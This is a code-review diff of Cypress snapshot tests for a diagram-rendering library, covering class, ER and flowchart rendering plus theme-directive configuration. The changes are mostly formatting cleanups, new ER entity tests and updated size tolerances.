+String bar$
}
`,
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
it('16b: should handle the direction statemnent with TB', () => {
imgSnapshotTest(
`
classDiagram
direction TB
class Student {
-idCard : IdCard
}
class IdCard{
-id : int
-name : string
}
class Bike{
-id : int
-name : string
}
Student "1" --o "1" IdCard : carries
Student "1" --o "1" Bike : rides
`,
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
it('18: should handle the direction statemnent with LR', () => {
imgSnapshotTest(
`
classDiagram
direction LR
class Student {
-idCard : IdCard
}
class IdCard{
-id : int
-name : string
}
class Bike{
-id : int
-name : string
}
Student "1" --o "1" IdCard : carries
Student "1" --o "1" Bike : rides
`,
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
it('17a: should handle the direction statemnent with BT', () => {
imgSnapshotTest(
`
classDiagram
direction BT
class Student {
-idCard : IdCard
}
class IdCard{
-id : int
-name : string
}
class Bike{
-id : int
-name : string
}
Student "1" --o "1" IdCard : carries
Student "1" --o "1" Bike : rides
`,
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});
it('17b: should handle the direction statemment with RL', () => {
imgSnapshotTest(
`
classDiagram
direction RL
class Student {
-idCard : IdCard
}
class IdCard{
-id : int
-name : string
}
class Bike{
-id : int
-name : string
}
Student "1" --o "1" IdCard : carries
Student "1" --o "1" Bike : rides
`,
{ logLevel: 1, flowchart: { htmlLabels: false } }
);
cy.get('svg');
});

View File

@@ -1,406 +1,410 @@
/* eslint-env jest */
import { imgSnapshotTest, renderGraph } from '../../helpers/util';
describe('Class diagram', () => {
it('1: should render a simple class diagram', () => {
imgSnapshotTest(
`
classDiagram
Class01 <|-- AveryLongClass : Cool
&lt;&lt;interface&gt;&gt; Class01
Class03 *-- Class04
Class05 o-- Class06
Class07 .. Class08
Class09 --> C2 : Where am i?
Class09 --* C3
Class09 --|> Class07
Class12 <|.. Class08
Class11 ..>Class12
Class07 : equals()
Class07 : Object[] elementData
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class01 : -int privateChimp
Class01 : +int publicGorilla
Class01 : #int protectedMarmoset
Class08 <--> C2: Cool label
class Class10 {
&lt;&lt;service&gt;&gt;
int id
test()
}
`,
{logLevel : 1}
);
cy.get('svg');
});
it('2: should render a simple class diagrams with cardinality', () => {
imgSnapshotTest(
`
classDiagram
Class01 "1" <|--|> "*" AveryLongClass : Cool
&lt;&lt;interface&gt;&gt; Class01
Class03 "1" *-- "*" Class04
Class05 "1" o-- "many" Class06
Class07 "1" .. "*" Class08
Class09 "1" --> "*" C2 : Where am i?
Class09 "*" --* "*" C3
Class09 "1" --|> "1" Class07
Class07 : equals()
Class07 : Object[] elementData
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class08 "1" <--> "*" C2: Cool label
class Class10 {
&lt;&lt;service&gt;&gt;
int id
test()
}
`,
{}
);
cy.get('svg');
});
it('3: should render a simple class diagram with different visibilities', () => {
imgSnapshotTest(
`
classDiagram
Class01 <|-- AveryLongClass : Cool
&lt;&lt;interface&gt;&gt; Class01
Class01 : -privateMethod()
Class01 : +publicMethod()
Class01 : #protectedMethod()
Class01 : -int privateChimp
Class01 : +int publicGorilla
Class01 : #int protectedMarmoset
`,
{}
);
cy.get('svg');
});
it('4: should render a simple class diagram with comments', () => {
imgSnapshotTest(
`
classDiagram
%% this is a comment
Class01 <|-- AveryLongClass : Cool
&lt;&lt;interface&gt;&gt; Class01
Class03 *-- Class04
Class05 o-- Class06
Class07 .. Class08
Class09 --> C2 : Where am i?
Class09 --* C3
Class09 --|> Class07
Class07 : equals()
Class07 : Object[] elementData
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class08 <--> C2: Cool label
class Class10 {
&lt;&lt;service&gt;&gt;
int id
test()
}
`,
{}
);
cy.get('svg');
});
it('5: should render a simple class diagram with abstract method', () => {
imgSnapshotTest(
`
classDiagram
Class01 <|-- AveryLongClass : Cool
Class01 : someMethod()*
`,
{}
);
cy.get('svg');
});
it('6: should render a simple class diagram with static method', () => {
imgSnapshotTest(
`
classDiagram
Class01 <|-- AveryLongClass : Cool
Class01 : someMethod()$
`,
{}
);
cy.get('svg');
});
it('7: should render a simple class diagram with Generic class', () => {
imgSnapshotTest(
`
classDiagram
class Class01~T~
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class08 <--> C2: Cool label
class Class10~T~ {
&lt;&lt;service&gt;&gt;
int id
test()
}
`,
{}
);
cy.get('svg');
});
it('8: should render a simple class diagram with Generic class and relations', () => {
imgSnapshotTest(
`
classDiagram
Class01~T~ <|-- AveryLongClass : Cool
Class03~T~ *-- Class04~T~
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class08 <--> C2: Cool label
class Class10~T~ {
&lt;&lt;service&gt;&gt;
int id
test()
}
`,
{}
);
cy.get('svg');
});
it('9: should render a simple class diagram with clickable link', () => {
imgSnapshotTest(
`
classDiagram
Class01~T~ <|-- AveryLongClass : Cool
Class03~T~ *-- Class04~T~
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class08 <--> C2: Cool label
class Class10~T~ {
&lt;&lt;service&gt;&gt;
int id
test()
}
link Class01 "google.com" "A Tooltip"
`,
{}
);
cy.get('svg');
});
it('10: should render a simple class diagram with clickable callback', () => {
imgSnapshotTest(
`
classDiagram
Class01~T~ <|-- AveryLongClass : Cool
Class03~T~ *-- Class04~T~
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class08 <--> C2: Cool label
class Class10~T~ {
&lt;&lt;service&gt;&gt;
int id
test()
}
callback Class01 "functionCall" "A Tooltip"
`,
{}
);
cy.get('svg');
});
it('11: should render a simple class diagram with return type on method', () => {
imgSnapshotTest(
`
classDiagram
class Class10~T~ {
int[] id
test(int[] ids) bool
testArray() bool[]
}
`,
{}
);
cy.get('svg');
});
it('12: should render a simple class diagram with generic types', () => {
imgSnapshotTest(
`
classDiagram
class Class10~T~ {
int[] id
List~int~ ids
test(List~int~ ids) List~bool~
testArray() bool[]
}
`,
{}
);
cy.get('svg');
});
it('13: should render a simple class diagram with css classes applied', () => {
imgSnapshotTest(
`
classDiagram
class Class10 {
int[] id
List~int~ ids
test(List~int~ ids) List~bool~
testArray() bool[]
}
cssClass "Class10" exClass
`,
{}
);
cy.get('svg');
});
it('14: should render a simple class diagram with css classes applied directly', () => {
imgSnapshotTest(
`
classDiagram
class Class10:::exClass {
int[] id
List~int~ ids
test(List~int~ ids) List~bool~
testArray() bool[]
}
`,
{}
);
cy.get('svg');
});
it('15: should render a simple class diagram with css classes applied two multiple classes', () => {
imgSnapshotTest(
`
classDiagram
class Class10
class Class20
cssClass "Class10, class20" exClass
`,
{}
);
cy.get('svg');
});
it('16: should render multiple class diagrams', () => {
imgSnapshotTest(
[
`
classDiagram
Class01 "1" <|--|> "*" AveryLongClass : Cool
&lt;&lt;interface&gt;&gt; Class01
Class03 "1" *-- "*" Class04
Class05 "1" o-- "many" Class06
Class07 "1" .. "*" Class08
Class09 "1" --> "*" C2 : Where am i?
Class09 "*" --* "*" C3
Class09 "1" --|> "1" Class07
Class07 : equals()
Class07 : Object[] elementData
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class08 "1" <--> "*" C2: Cool label
class Class10 {
&lt;&lt;service&gt;&gt;
int id
test()
}
`,
`
classDiagram
Class01 "1" <|--|> "*" AveryLongClass : Cool
&lt;&lt;interface&gt;&gt; Class01
Class03 "1" *-- "*" Class04
Class05 "1" o-- "many" Class06
Class07 "1" .. "*" Class08
Class09 "1" --> "*" C2 : Where am i?
Class09 "*" --* "*" C3
Class09 "1" --|> "1" Class07
Class07 : equals()
Class07 : Object[] elementData
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class08 "1" <--> "*" C2: Cool label
class Class10 {
&lt;&lt;service&gt;&gt;
int id
test()
}
`,
],
{}
);
cy.get('svg');
});
it('17: should render a class diagram when useMaxWidth is true (default)', () => {
renderGraph(
`
classDiagram
Class01 <|-- AveryLongClass : Cool
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class01 : -int privateChimp
Class01 : +int publicGorilla
Class01 : #int protectedMarmoset
`,
{ class: { useMaxWidth: true } }
);
cy.get('svg')
.should((svg) => {
expect(svg).to.have.attr('width', '100%');
expect(svg).to.have.attr('height', '218');
const style = svg.attr('style');
expect(style).to.match(/^max-width: [\d.]+px;$/);
const maxWidthValue = parseInt(style.match(/[\d.]+/g).join(''));
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(maxWidthValue).to.be.within(160 * .95, 160 * 1.05);
});
});
it('18: should render a class diagram when useMaxWidth is false', () => {
renderGraph(
`
classDiagram
Class01 <|-- AveryLongClass : Cool
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class01 : -int privateChimp
Class01 : +int publicGorilla
Class01 : #int protectedMarmoset
`,
{ class: { useMaxWidth: false } }
);
cy.get('svg')
.should((svg) => {
const width = parseFloat(svg.attr('width'));
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(width).to.be.within(160 * .95, 160 * 1.05);
expect(svg).to.have.attr('height', '218');
expect(svg).to.not.have.attr('style');
});
});
});
import { imgSnapshotTest, renderGraph } from '../../helpers/util';
describe('Class diagram', () => {
it('1: should render a simple class diagram', () => {
imgSnapshotTest(
`
classDiagram
Class01 <|-- AveryLongClass : Cool
&lt;&lt;interface&gt;&gt; Class01
Class03 *-- Class04
Class05 o-- Class06
Class07 .. Class08
Class09 --> C2 : Where am i?
Class09 --* C3
Class09 --|> Class07
Class12 <|.. Class08
Class11 ..>Class12
Class07 : equals()
Class07 : Object[] elementData
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class01 : -int privateChimp
Class01 : +int publicGorilla
Class01 : #int protectedMarmoset
Class08 <--> C2: Cool label
class Class10 {
&lt;&lt;service&gt;&gt;
int id
test()
}
`,
{ logLevel: 1 }
);
cy.get('svg');
});
it('2: should render a simple class diagrams with cardinality', () => {
imgSnapshotTest(
`
classDiagram
Class01 "1" <|--|> "*" AveryLongClass : Cool
&lt;&lt;interface&gt;&gt; Class01
Class03 "1" *-- "*" Class04
Class05 "1" o-- "many" Class06
Class07 "1" .. "*" Class08
Class09 "1" --> "*" C2 : Where am i?
Class09 "*" --* "*" C3
Class09 "1" --|> "1" Class07
Class07 : equals()
Class07 : Object[] elementData
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class08 "1" <--> "*" C2: Cool label
class Class10 {
&lt;&lt;service&gt;&gt;
int id
test()
}
`,
{}
);
cy.get('svg');
});
it('3: should render a simple class diagram with different visibilities', () => {
imgSnapshotTest(
`
classDiagram
Class01 <|-- AveryLongClass : Cool
&lt;&lt;interface&gt;&gt; Class01
Class01 : -privateMethod()
Class01 : +publicMethod()
Class01 : #protectedMethod()
Class01 : -int privateChimp
Class01 : +int publicGorilla
Class01 : #int protectedMarmoset
`,
{}
);
cy.get('svg');
});
it('4: should render a simple class diagram with comments', () => {
imgSnapshotTest(
`
classDiagram
%% this is a comment
Class01 <|-- AveryLongClass : Cool
&lt;&lt;interface&gt;&gt; Class01
Class03 *-- Class04
Class05 o-- Class06
Class07 .. Class08
Class09 --> C2 : Where am i?
Class09 --* C3
Class09 --|> Class07
Class07 : equals()
Class07 : Object[] elementData
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class08 <--> C2: Cool label
class Class10 {
&lt;&lt;service&gt;&gt;
int id
test()
}
`,
{}
);
cy.get('svg');
});
it('5: should render a simple class diagram with abstract method', () => {
imgSnapshotTest(
`
classDiagram
Class01 <|-- AveryLongClass : Cool
Class01 : someMethod()*
`,
{}
);
cy.get('svg');
});
it('6: should render a simple class diagram with static method', () => {
imgSnapshotTest(
`
classDiagram
Class01 <|-- AveryLongClass : Cool
Class01 : someMethod()$
`,
{}
);
cy.get('svg');
});
it('7: should render a simple class diagram with Generic class', () => {
imgSnapshotTest(
`
classDiagram
class Class01~T~
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class08 <--> C2: Cool label
class Class10~T~ {
&lt;&lt;service&gt;&gt;
int id
test()
}
`,
{}
);
cy.get('svg');
});
it('8: should render a simple class diagram with Generic class and relations', () => {
imgSnapshotTest(
`
classDiagram
Class01~T~ <|-- AveryLongClass : Cool
Class03~T~ *-- Class04~T~
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class08 <--> C2: Cool label
class Class10~T~ {
&lt;&lt;service&gt;&gt;
int id
test()
}
`,
{}
);
cy.get('svg');
});
it('9: should render a simple class diagram with clickable link', () => {
imgSnapshotTest(
`
classDiagram
Class01~T~ <|-- AveryLongClass : Cool
Class03~T~ *-- Class04~T~
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class08 <--> C2: Cool label
class Class10~T~ {
&lt;&lt;service&gt;&gt;
int id
test()
}
link Class01 "google.com" "A Tooltip"
`,
{}
);
cy.get('svg');
});
it('10: should render a simple class diagram with clickable callback', () => {
imgSnapshotTest(
`
classDiagram
Class01~T~ <|-- AveryLongClass : Cool
Class03~T~ *-- Class04~T~
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class08 <--> C2: Cool label
class Class10~T~ {
&lt;&lt;service&gt;&gt;
int id
test()
}
callback Class01 "functionCall" "A Tooltip"
`,
{}
);
cy.get('svg');
});
it('11: should render a simple class diagram with return type on method', () => {
imgSnapshotTest(
`
classDiagram
class Class10~T~ {
int[] id
test(int[] ids) bool
testArray() bool[]
}
`,
{}
);
cy.get('svg');
});
it('12: should render a simple class diagram with generic types', () => {
imgSnapshotTest(
`
classDiagram
class Class10~T~ {
int[] id
List~int~ ids
test(List~int~ ids) List~bool~
testArray() bool[]
}
`,
{}
);
cy.get('svg');
});
it('13: should render a simple class diagram with css classes applied', () => {
imgSnapshotTest(
`
classDiagram
class Class10 {
int[] id
List~int~ ids
test(List~int~ ids) List~bool~
testArray() bool[]
}
class Class10:::exClass2
`,
{}
);
cy.get('svg');
});
it('14: should render a simple class diagram with css classes applied directly', () => {
imgSnapshotTest(
`
classDiagram
class Class10:::exClass2 {
int[] id
List~int~ ids
test(List~int~ ids) List~bool~
testArray() bool[]
}
`,
{}
);
cy.get('svg');
});
it('15: should render a simple class diagram with css classes applied two multiple classes', () => {
imgSnapshotTest(
`
classDiagram
class Class10
class Class20
cssClass "Class10, Class20" exClass2
class Class20:::exClass2
`,
{}
);
cy.get('svg');
});
it('16: should render multiple class diagrams', () => {
imgSnapshotTest(
[
`
classDiagram
Class01 "1" <|--|> "*" AveryLongClass : Cool
&lt;&lt;interface&gt;&gt; Class01
Class03 "1" *-- "*" Class04
Class05 "1" o-- "many" Class06
Class07 "1" .. "*" Class08
Class09 "1" --> "*" C2 : Where am i?
Class09 "*" --* "*" C3
Class09 "1" --|> "1" Class07
Class07 : equals()
Class07 : Object[] elementData
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class08 "1" <--> "*" C2: Cool label
class Class10 {
&lt;&lt;service&gt;&gt;
int id
test()
}
`,
`
classDiagram
Class01 "1" <|--|> "*" AveryLongClass : Cool
&lt;&lt;interface&gt;&gt; Class01
Class03 "1" *-- "*" Class04
Class05 "1" o-- "many" Class06
Class07 "1" .. "*" Class08
Class09 "1" --> "*" C2 : Where am i?
Class09 "*" --* "*" C3
Class09 "1" --|> "1" Class07
Class07 : equals()
Class07 : Object[] elementData
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class08 "1" <--> "*" C2: Cool label
class Class10 {
&lt;&lt;service&gt;&gt;
int id
test()
}
`,
],
{}
);
cy.get('svg');
});
// it('17: should render a class diagram when useMaxWidth is true (default)', () => {
// renderGraph(
// `
// classDiagram
// Class01 <|-- AveryLongClass : Cool
// Class01 : size()
// Class01 : int chimp
// Class01 : int gorilla
// Class01 : -int privateChimp
// Class01 : +int publicGorilla
// Class01 : #int protectedMarmoset
// `,
// { class: { useMaxWidth: true } }
// );
// cy.get('svg')
// .should((svg) => {
// expect(svg).to.have.attr('width', '100%');
// const height = parseFloat(svg.attr('height'));
// expect(height).to.be.within(332, 333);
// // expect(svg).to.have.attr('height', '218');
// const style = svg.attr('style');
// expect(style).to.match(/^max-width: [\d.]+px;$/);
// const maxWidthValue = parseInt(style.match(/[\d.]+/g).join(''));
// // use within because the absolute value can be slightly different depending on the environment ±5%
// expect(maxWidthValue).to.be.within(203, 204);
// });
// });
// it('18: should render a class diagram when useMaxWidth is false', () => {
// renderGraph(
// `
// classDiagram
// Class01 <|-- AveryLongClass : Cool
// Class01 : size()
// Class01 : int chimp
// Class01 : int gorilla
// Class01 : -int privateChimp
// Class01 : +int publicGorilla
// Class01 : #int protectedMarmoset
// `,
// { class: { useMaxWidth: false } }
// );
// cy.get('svg')
// .should((svg) => {
// const width = parseFloat(svg.attr('width'));
// // use within because the absolute value can be slightly different depending on the environment ±5%
// expect(width).to.be.within(100, 101);
// const height = parseFloat(svg.attr('height'));
// expect(height).to.be.within(332, 333);
// // expect(svg).to.have.attr('height', '332');
// // expect(svg).to.not.have.attr('style');
// });
// });
});

View File

@@ -1,10 +1,9 @@
/* eslint-env jest */
import { imgSnapshotTest } from '../../helpers/util.js';
describe('Configuration and directives - nodes should be light blue', () => {
it('No config - use default', () => {
imgSnapshotTest(
`
it('No config - use default', () => {
imgSnapshotTest(
`
graph TD
A(Default) --> B[/Another/]
A --> C[End]
@@ -13,13 +12,13 @@ describe('Configuration and directives - nodes should be light blue', () => {
C
end
`,
{}
);
cy.get('svg');
});
it('Settigns from intitialize - nodes should be green', () => {
imgSnapshotTest(
`
{}
);
cy.get('svg');
});
it('Settigns from intitialize - nodes should be green', () => {
imgSnapshotTest(
`
graph TD
A(Forest) --> B[/Another/]
A --> C[End]
@@ -27,13 +26,13 @@ graph TD
B
C
end `,
{theme:'forest'}
);
cy.get('svg');
});
it('Settings from initialize overriding themeVariable - nodes shold be red', () => {
imgSnapshotTest(
`
{ theme: 'forest' }
);
cy.get('svg');
});
it('Settings from initialize overriding themeVariable - nodes shold be red', () => {
imgSnapshotTest(
`
%%{init: { 'theme': 'base', 'themeVariables':{ 'primaryColor': '#ff0000'}}}%%
@@ -45,13 +44,13 @@ graph TD
C
end
`,
{theme:'base', themeVariables:{ primaryColor: '#ff0000'}, logLevel: 0}
);
cy.get('svg');
});
it('Settings from directive - nodes should be grey', () => {
imgSnapshotTest(
`
{ theme: 'base', themeVariables: { primaryColor: '#ff0000' }, logLevel: 0 }
);
cy.get('svg');
});
it('Settings from directive - nodes should be grey', () => {
imgSnapshotTest(
`
%%{init: { 'logLevel': 0, 'theme': 'neutral'} }%%
graph TD
A(Start) --> B[/Another/]
@@ -61,14 +60,14 @@ graph TD
C
end
`,
{}
);
cy.get('svg');
});
{}
);
cy.get('svg');
});
it('Settings from directive overriding theme variable - nodes should be red', () => {
imgSnapshotTest(
`
it('Settings from directive overriding theme variable - nodes should be red', () => {
imgSnapshotTest(
`
%%{init: {'theme': 'base', 'themeVariables':{ 'primaryColor': '#ff0000'}}}%%
graph TD
A(Start) --> B[/Another/]
@@ -78,13 +77,13 @@ graph TD
C
end
`,
{}
);
cy.get('svg');
{}
);
cy.get('svg');
});
it('Settings from initialize and directive - nodes should be grey', () => {
imgSnapshotTest(
`
it('Settings from initialize and directive - nodes should be grey', () => {
imgSnapshotTest(
`
%%{init: { 'logLevel': 0, 'theme': 'neutral'} }%%
graph TD
A(Start) --> B[/Another/]
@@ -94,13 +93,13 @@ graph TD
C
end
`,
{theme:'forest'}
);
cy.get('svg');
});
it('Theme from initialize, directive overriding theme variable - nodes should be red', () => {
imgSnapshotTest(
`
{ theme: 'forest' }
);
cy.get('svg');
});
it('Theme from initialize, directive overriding theme variable - nodes should be red', () => {
imgSnapshotTest(
`
%%{init: {'theme': 'base', 'themeVariables':{ 'primaryColor': '#ff0000'}}}%%
graph TD
A(Start) --> B[/Another/]
@@ -110,13 +109,13 @@ graph TD
C
end
`,
{theme:'base'}
);
cy.get('svg');
});
it('Theme variable from initialize, theme from directive - nodes should be red', () => {
imgSnapshotTest(
`
{ theme: 'base' }
);
cy.get('svg');
});
it('Theme variable from initialize, theme from directive - nodes should be red', () => {
imgSnapshotTest(
`
%%{init: { 'logLevel': 0, 'theme': 'base'} }%%
graph TD
A(Start) --> B[/Another/]
@@ -126,16 +125,16 @@ graph TD
C
end
`,
{themeVariables:{primaryColor: '#ff0000'}}
);
{ themeVariables: { primaryColor: '#ff0000' } }
);
cy.get('svg');
});
describe('when rendering several diagrams', () => {
it('diagrams should not taint later diagrams', () => {
const url = 'http://localhost:9000/theme-directives.html';
cy.visit(url);
cy.get('svg');
});
describe('when rendering several diagrams', () => {
it('diagrams should not taint later diagrams', () => {
const url = 'http://localhost:9000/theme-directives.html';
cy.visit(url);
cy.get('svg');
cy.percySnapshot();
});
cy.percySnapshot();
});
});
});

View File

@@ -1,4 +1,3 @@
/* eslint-env jest */
import { imgSnapshotTest } from '../../helpers/util';
describe('State diagram', () => {

View File

@@ -1,14 +1,12 @@
/* eslint-env jest */
import { imgSnapshotTest } from '../../helpers/util';
describe('Flowchart', () => {
it('34: testing the label width in percy', () => {
imgSnapshotTest(
`graph TD
A[Christmas]
`,
{ theme: 'forest' , fontFamily: '"Noto Sans SC", sans-serif' }
{ theme: 'forest', fontFamily: '"Noto Sans SC", sans-serif' }
);
});
});

View File

@@ -1,4 +1,3 @@
/* eslint-env jest */
import { imgSnapshotTest, renderGraph } from '../../helpers/util';
describe('Entity Relationship Diagram', () => {
@@ -9,7 +8,7 @@ describe('Entity Relationship Diagram', () => {
CUSTOMER ||--o{ ORDER : places
ORDER ||--|{ LINE-ITEM : contains
`,
{logLevel : 1}
{ logLevel: 1 }
);
cy.get('svg');
});
@@ -22,7 +21,7 @@ describe('Entity Relationship Diagram', () => {
CUSTOMER ||--o{ ORDER : places
ORDER ||--|{ LINE-ITEM : contains
`,
{logLevel : 1}
{ logLevel: 1 }
);
cy.get('svg');
});
@@ -34,7 +33,7 @@ describe('Entity Relationship Diagram', () => {
CUSTOMER ||--|{ ADDRESS : "invoiced at"
CUSTOMER ||--|{ ADDRESS : "receives goods at"
`,
{logLevel : 1}
{ logLevel: 1 }
);
cy.get('svg');
});
@@ -47,7 +46,7 @@ describe('Entity Relationship Diagram', () => {
B ||--|{ C : likes
C ||--|{ A : likes
`,
{logLevel : 1}
{ logLevel: 1 }
);
cy.get('svg');
});
@@ -65,7 +64,7 @@ describe('Entity Relationship Diagram', () => {
PRODUCT-CATEGORY ||--|{ PRODUCT : contains
PRODUCT ||--o{ ORDER-ITEM : "ordered in"
`,
{logLevel : 1}
{ logLevel: 1 }
);
cy.get('svg');
});
@@ -73,18 +72,18 @@ describe('Entity Relationship Diagram', () => {
it('should render multiple ER diagrams', () => {
imgSnapshotTest(
[
`
`
erDiagram
CUSTOMER ||--o{ ORDER : places
ORDER ||--|{ LINE-ITEM : contains
`,
`
`
erDiagram
CUSTOMER ||--o{ ORDER : places
ORDER ||--|{ LINE-ITEM : contains
`
`,
],
{logLevel : 1}
{ logLevel: 1 }
);
cy.get('svg');
});
@@ -97,7 +96,7 @@ describe('Entity Relationship Diagram', () => {
BOOK }|..|{ GENRE : " "
AUTHOR }|..|{ GENRE : " "
`,
{logLevel : 1}
{ logLevel: 1 }
);
cy.get('svg');
});
@@ -111,16 +110,15 @@ describe('Entity Relationship Diagram', () => {
`,
{ er: { useMaxWidth: true } }
);
cy.get('svg')
.should((svg) => {
expect(svg).to.have.attr('width', '100%');
expect(svg).to.have.attr('height', '465');
const style = svg.attr('style');
expect(style).to.match(/^max-width: [\d.]+px;$/);
const maxWidthValue = parseFloat(style.match(/[\d.]+/g).join(''));
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(maxWidthValue).to.be.within(140 * .95, 140 * 1.05);
});
cy.get('svg').should((svg) => {
expect(svg).to.have.attr('width', '100%');
expect(svg).to.have.attr('height', '465');
const style = svg.attr('style');
expect(style).to.match(/^max-width: [\d.]+px;$/);
const maxWidthValue = parseFloat(style.match(/[\d.]+/g).join(''));
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(maxWidthValue).to.be.within(140 * 0.95, 140 * 1.05);
});
});
it('should render an ER when useMaxWidth is false', () => {
@@ -132,13 +130,114 @@ describe('Entity Relationship Diagram', () => {
`,
{ er: { useMaxWidth: false } }
);
cy.get('svg')
.should((svg) => {
const width = parseFloat(svg.attr('width'));
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(width).to.be.within(140 * .95, 140 * 1.05);
expect(svg).to.have.attr('height', '465');
expect(svg).to.not.have.attr('style');
});
cy.get('svg').should((svg) => {
const width = parseFloat(svg.attr('width'));
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(width).to.be.within(140 * 0.95, 140 * 1.05);
expect(svg).to.have.attr('height', '465');
expect(svg).to.not.have.attr('style');
});
});
it('should render entities that have no relationships', () => {
renderGraph(
`
erDiagram
DEAD_PARROT
HERMIT
RECLUSE
SOCIALITE }o--o{ SOCIALITE : "interacts with"
RECLUSE }o--o{ SOCIALITE : avoids
`,
{ er: { useMaxWidth: false } }
);
cy.get('svg');
});
it('should render entities with and without attributes', () => {
renderGraph(
`
erDiagram
BOOK { string title }
AUTHOR }|..|{ BOOK : writes
BOOK { float price }
`,
{ logLevel: 1 }
);
cy.get('svg');
});
it('should render entities and attributes with big and small entity names', () => {
renderGraph(
`
erDiagram
PRIVATE_FINANCIAL_INSTITUTION {
string name
int turnover
}
PRIVATE_FINANCIAL_INSTITUTION ||..|{ EMPLOYEE : employs
EMPLOYEE { bool officer_of_firm }
`,
{ logLevel: 1 }
);
cy.get('svg');
});
it('should render entities with keys', () => {
renderGraph(
`
erDiagram
AUTHOR_WITH_LONG_ENTITY_NAME {
string name PK
}
AUTHOR_WITH_LONG_ENTITY_NAME }|..|{ BOOK : writes
BOOK {
float price
string author FK
string title PK
}
`,
{ logLevel: 1 }
);
cy.get('svg');
});
it('should render entities with comments', () => {
renderGraph(
`
erDiagram
AUTHOR_WITH_LONG_ENTITY_NAME {
string name "comment"
}
AUTHOR_WITH_LONG_ENTITY_NAME }|..|{ BOOK : writes
BOOK {
string author
string title "author comment"
float price "price comment"
}
`,
{ logLevel: 1 }
);
cy.get('svg');
});
it('should render entities with keys and comments', () => {
renderGraph(
`
erDiagram
AUTHOR_WITH_LONG_ENTITY_NAME {
string name PK "comment"
}
AUTHOR_WITH_LONG_ENTITY_NAME }|..|{ BOOK : writes
BOOK {
string description
float price "price comment"
string title PK "title comment"
string author FK
}
`,
{ logLevel: 1 }
);
cy.get('svg');
});
});

View File

@@ -1,4 +1,3 @@
/* eslint-env jest */
import { imgSnapshotTest, renderGraph } from '../../helpers/util';
describe('Flowchart v2', () => {
@@ -29,7 +28,7 @@ describe('Flowchart v2', () => {
);
});
it('3: a link with correct arrowhead to a subgraph', () => {
it('3: a link with correct arrowhead to a subgraph', () => {
imgSnapshotTest(
`flowchart TD
P1
@@ -69,7 +68,7 @@ describe('Flowchart v2', () => {
`flowchart TD
a["<strong>Haiya</strong>"]---->b
`,
{htmlLabels: false, flowchart: {htmlLabels: false}}
{ htmlLabels: false, flowchart: { htmlLabels: false } }
);
});
it('6: should render non-escaped with html labels', () => {
@@ -77,7 +76,7 @@ describe('Flowchart v2', () => {
`flowchart TD
a["<strong>Haiya</strong>"]===>b
`,
{htmlLabels: true, flowchart: {htmlLabels: true}, securityLevel: 'loose'}
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('7: should render a flowchart when useMaxWidth is true (default)', () => {
@@ -91,18 +90,17 @@ describe('Flowchart v2', () => {
`,
{ flowchart: { useMaxWidth: true } }
);
cy.get('svg')
.should((svg) => {
expect(svg).to.have.attr('width', '100%');
expect(svg).to.have.attr('height');
// use within because the absolute value can be slightly different depending on the environment ±5%
const height = parseFloat(svg.attr('height'));
expect(height).to.be.within(446 * .95, 446 * 1.05);
const style = svg.attr('style');
expect(style).to.match(/^max-width: [\d.]+px;$/);
const maxWidthValue = parseFloat(style.match(/[\d.]+/g).join(''));
expect(maxWidthValue).to.be.within(300 * .95-1, 300 * 1.05);
});
cy.get('svg').should((svg) => {
expect(svg).to.have.attr('width', '100%');
expect(svg).to.have.attr('height');
// use within because the absolute value can be slightly different depending on the environment ±5%
const height = parseFloat(svg.attr('height'));
expect(height).to.be.within(446 * 0.95, 446 * 1.05);
const style = svg.attr('style');
expect(style).to.match(/^max-width: [\d.]+px;$/);
const maxWidthValue = parseFloat(style.match(/[\d.]+/g).join(''));
expect(maxWidthValue).to.be.within(290 * 0.95 - 1, 290 * 1.05);
});
});
it('8: should render a flowchart when useMaxWidth is false', () => {
renderGraph(
@@ -115,15 +113,14 @@ describe('Flowchart v2', () => {
`,
{ flowchart: { useMaxWidth: false } }
);
cy.get('svg')
.should((svg) => {
const height = parseFloat(svg.attr('height'));
const width = parseFloat(svg.attr('width'));
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(height).to.be.within(446 * .95, 446 * 1.05);
expect(width).to.be.within(300 * .95-1, 300 * 1.05);
expect(svg).to.not.have.attr('style');
});
cy.get('svg').should((svg) => {
const height = parseFloat(svg.attr('height'));
const width = parseFloat(svg.attr('width'));
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(height).to.be.within(446 * 0.95, 446 * 1.05);
expect(width).to.be.within(290 * 0.95 - 1, 290 * 1.05);
expect(svg).to.not.have.attr('style');
});
});
it('V2 - 16: Render Stadium shape', () => {
@@ -141,7 +138,7 @@ describe('Flowchart v2', () => {
class A someclass;
class C someclass;
`,
{ flowchart: { htmlLabels: false } , fontFamily: 'courier'}
{ flowchart: { htmlLabels: false }, fontFamily: 'courier' }
);
});
